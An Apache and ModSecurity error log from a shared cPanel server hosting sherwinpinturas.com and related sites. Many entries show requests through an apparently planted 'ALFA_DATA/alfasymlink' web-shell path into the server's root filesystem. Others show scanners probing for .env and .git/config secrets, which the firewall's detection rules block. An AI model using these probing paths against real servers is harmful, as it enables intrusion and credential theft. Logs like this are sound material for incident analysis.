[Mon Oct 26 09:46:42.196874 2026] [ssl:error] [pid 3041714:tid 3041714] (70014)End of file found: [client 44.221.227.90:20560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:46:54.183441 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 34.235.239.240:28412] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:47:02.161087 2026] [core:error] [pid 3040034:tid 3040034] (13)Permission denied: [client 18.214.124.6:38116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/module/uevent
[Mon Oct 26 09:47:10.164025 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 35.169.240.53:15499] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:47:14.176326 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 34.195.60.66:28707] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:47:15.602122 2026] [authz_core:error] [pid 3040031:tid 3040031] [client 34.29.168.6:56608] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 09:47:15.950514 2026] [proxy_fcgi:error] [pid 3040031:tid 3040031] [client 34.29.168.6:56608] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 09:47:15.992090 2026] [authz_core:error] [pid 3040031:tid 3040031] [client 34.29.168.6:56608] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 09:47:26.178992 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 18.207.79.144:21880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:47:30.044464 2026] [core:error] [pid 3040031:tid 3040031] (13)Permission denied: [client 185.191.171.2:20670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/parameters/enable_crashreporter
[Mon Oct 26 09:47:30.257228 2026] [core:error] [pid 3038684:tid 3038684] (13)Permission denied: [client 100.29.63.24:38451] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource4
[Mon Oct 26 09:47:34.200210 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 34.226.89.140:1530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:47:38.980826 2026] [authz_core:error] [pid 3039886:tid 3039886] [client 212.34.140.200:42770] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:47:42.157395 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 100.29.164.178:44828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:47:46.165448 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 3.213.46.222:3642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:47:49.656812 2026] [security2:error] [pid 3039832:tid 3039832] [client 85.208.96.208:21308] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/lib2to3/__pycache__/refactor.cpython-36.opt-2.pyc"] [unique_id "at9aBeCMgRXzP74NO6wL7gAAAAU"]
[Mon Oct 26 09:47:49.656895 2026] [security2:error] [pid 3039832:tid 3039832] [client 85.208.96.208:21308] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/lib2to3/__pycache__/refactor.cpython-36.opt-2.pyc"] [unique_id "at9aBeCMgRXzP74NO6wL7gAAAAU"]
[Mon Oct 26 09:47:50.703979 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 18.233.24.238:28726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:47:54.305824 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 23.21.250.48:41583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:02.256754 2026] [ssl:error] [pid 3039958:tid 3039958] (70014)End of file found: [client 52.4.213.199:58787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:10.183216 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 34.206.249.188:28812] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:22.159697 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 34.193.2.57:21636] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:26.156199 2026] [ssl:error] [pid 3040031:tid 3040031] (5)Input/output error: [client 52.4.238.8:11177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:34.193483 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 34.239.85.139:3728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:42.195259 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.203.68.145:18606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:46.225598 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 34.206.212.24:1110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:50.179283 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 50.19.221.48:56413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:54.327253 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 52.2.4.213:58866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:48:58.186946 2026] [ssl:error] [pid 3042115:tid 3042115] (70014)End of file found: [client 23.20.178.124:13075] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:49:10.187922 2026] [ssl:error] [pid 3042115:tid 3042115] (70014)End of file found: [client 100.28.57.133:56379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:49:18.167141 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 54.225.199.17:48510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:49:26.217008 2026] [core:error] [pid 3042122:tid 3042122] (13)Permission denied: [client 34.197.28.78:65257] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/virtio2/driver/bind
[Mon Oct 26 09:49:38.191297 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.209.35.147:3821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:49:42.196897 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 98.82.63.147:41910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:50:02.184397 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 98.82.38.120:59645] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:50:15.784753 2026] [core:error] [pid 3034818:tid 3034818] (13)Permission denied: [client 85.208.96.199:40848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/hwcache_align
[Mon Oct 26 09:50:18.803175 2026] [security2:error] [pid 3036181:tid 3036181] [client 107.172.76.131:54263] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9ajkW6-b5XD8XwGa-2CgAAAAQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:50:18.803235 2026] [security2:error] [pid 3036181:tid 3036181] [client 107.172.76.131:54263] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9ajkW6-b5XD8XwGa-2CgAAAAQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:50:38.181574 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 54.225.98.148:32787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:50:42.181533 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 54.84.93.8:27896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:50:46.289703 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 18.213.27.222:11154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:50:50.158294 2026] [core:error] [pid 3042115:tid 3042115] (13)Permission denied: [client 44.206.93.215:59351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/driver/0000:00:01.2/remove
[Mon Oct 26 09:50:58.267925 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 44.223.232.55:7444] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:51:01.319929 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 85.208.96.201:34394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cpu_slabs
[Mon Oct 26 09:51:02.166092 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 3.220.148.166:14868] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:51:06.259474 2026] [ssl:error] [pid 3042115:tid 3042115] (5)Input/output error: [client 54.84.147.79:5720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:51:10.152539 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 52.54.15.103:34076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:51:18.308250 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 44.212.106.171:32018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/shpchp/remove_id
[Mon Oct 26 09:51:22.291125 2026] [ssl:error] [pid 3040034:tid 3040034] (5)Input/output error: [client 3.235.215.92:9291] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:51:34.172872 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 100.28.118.16:12379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:51:38.206531 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 34.206.249.188:47180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:51:42.170323 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.71.216.196:7587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:51:46.295604 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 44.205.180.155:13111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:52:02.270172 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 35.168.238.50:63824] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:52:10.273375 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 34.231.156.59:12401] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:52:14.182448 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 50.16.72.185:17221] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:52:22.432580 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 18.211.39.188:17385] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:52:34.302008 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 34.206.249.188:51112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/virtio2/driver/bind
[Mon Oct 26 09:52:46.169224 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 23.21.227.240:7001] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:52:46.169464 2026] [security2:error] [pid 3041799:tid 3041799] [client 23.21.227.240:7001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory6/node0/memory2/state"] [unique_id "at9bLrJEa6xP7LBmBmOpBQAAAAI"]
[Mon Oct 26 09:52:46.169500 2026] [security2:error] [pid 3041799:tid 3041799] [client 23.21.227.240:7001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory6/node0/memory2/state"] [unique_id "at9bLrJEa6xP7LBmBmOpBQAAAAI"]
[Mon Oct 26 09:52:58.166379 2026] [ssl:error] [pid 3042115:tid 3042115] (70014)End of file found: [client 3.94.157.25:40354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:53:03.803680 2026] [security2:error] [pid 3039957:tid 3039957] [client 185.191.171.7:14580] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/35network-legacy/dhclient.conf"] [unique_id "at9bP7mH5f9NFCuXZr0tnQAAABY"]
[Mon Oct 26 09:53:03.804142 2026] [security2:error] [pid 3039957:tid 3039957] [client 185.191.171.7:14580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/35network-legacy/dhclient.conf"] [unique_id "at9bP7mH5f9NFCuXZr0tnQAAABY"]
[Mon Oct 26 09:53:03.804516 2026] [security2:error] [pid 3039957:tid 3039957] [client 185.191.171.7:14580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/35network-legacy/dhclient.conf"] [unique_id "at9bP7mH5f9NFCuXZr0tnQAAABY"]
[Mon Oct 26 09:53:12.509347 2026] [security2:error] [pid 3042115:tid 3042115] [client 45.148.10.122:39506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9bSF7z8XdUCcLAr6TUIQAAAAc"]
[Mon Oct 26 09:53:12.556138 2026] [security2:error] [pid 3042115:tid 3042115] [client 45.148.10.122:39506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9bSF7z8XdUCcLAr6TUIQAAAAc"]
[Mon Oct 26 09:53:12.556565 2026] [security2:error] [pid 3042115:tid 3042115] [client 45.148.10.122:39506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9bSF7z8XdUCcLAr6TUIQAAAAc"]
[Mon Oct 26 09:53:13.574897 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.148.10.122:39522] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9bSXYYJ1RlC0FZClQGdQAAABw"]
[Mon Oct 26 09:53:13.577645 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.148.10.122:39522] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9bSXYYJ1RlC0FZClQGdQAAABw"]
[Mon Oct 26 09:53:13.577939 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.148.10.122:39522] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9bSXYYJ1RlC0FZClQGdQAAABw"]
[Mon Oct 26 09:53:13.819387 2026] [security2:error] [pid 3039832:tid 3039832] [client 45.148.10.122:39524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9bSeCMgRXzP74NO6wL9wAAAAU"]
[Mon Oct 26 09:53:13.821939 2026] [security2:error] [pid 3039832:tid 3039832] [client 45.148.10.122:39524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9bSeCMgRXzP74NO6wL9wAAAAU"]
[Mon Oct 26 09:53:13.822239 2026] [security2:error] [pid 3039832:tid 3039832] [client 45.148.10.122:39524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9bSeCMgRXzP74NO6wL9wAAAAU"]
[Mon Oct 26 09:53:15.044890 2026] [security2:error] [pid 3042122:tid 3042122] [client 45.148.10.122:39538] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9bS4kBAlsUe0HxPuSl8AAAAA4"]
[Mon Oct 26 09:53:15.047526 2026] [security2:error] [pid 3042122:tid 3042122] [client 45.148.10.122:39538] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9bS4kBAlsUe0HxPuSl8AAAAA4"]
[Mon Oct 26 09:53:15.047818 2026] [security2:error] [pid 3042122:tid 3042122] [client 45.148.10.122:39538] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9bS4kBAlsUe0HxPuSl8AAAAA4"]
[Mon Oct 26 09:53:18.349677 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 52.207.47.227:40280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:53:19.958034 2026] [security2:error] [pid 3042115:tid 3042115] [client 156.206.105.224:36253] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at9bT17z8XdUCcLAr6TUIgAAAAc"], referer: https://five.co.in/redirect.php?ref_host=blechbearbeitung-tschechien.de
[Mon Oct 26 09:53:19.959454 2026] [authz_core:error] [pid 3042115:tid 3042115] [client 156.206.105.224:36253] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://five.co.in/redirect.php?ref_host=blechbearbeitung-tschechien.de
[Mon Oct 26 09:53:22.151807 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 18.213.70.100:11659] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:53:26.316099 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 44.210.213.220:20840] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:53:30.158346 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 52.70.138.176:61186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:53:38.233706 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 3.94.157.25:33198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:53:42.265846 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 98.82.66.172:62272] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:53:46.152059 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 54.147.182.90:39371] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:53:50.169644 2026] [core:error] [pid 3041714:tid 3041714] (13)Permission denied: [client 54.163.136.244:59438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:1a/subsystem/uevent
[Mon Oct 26 09:53:58.164884 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 54.159.18.27:28312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:54:06.159527 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 52.54.15.103:4215] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:54:14.146083 2026] [ssl:error] [pid 3041714:tid 3041714] (70014)End of file found: [client 52.207.47.227:3510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:54:15.522772 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 85.208.96.209:36712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/usersize
[Mon Oct 26 09:54:18.145796 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 34.230.124.21:10823] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/pcspkr/pcspkr/driver/uevent
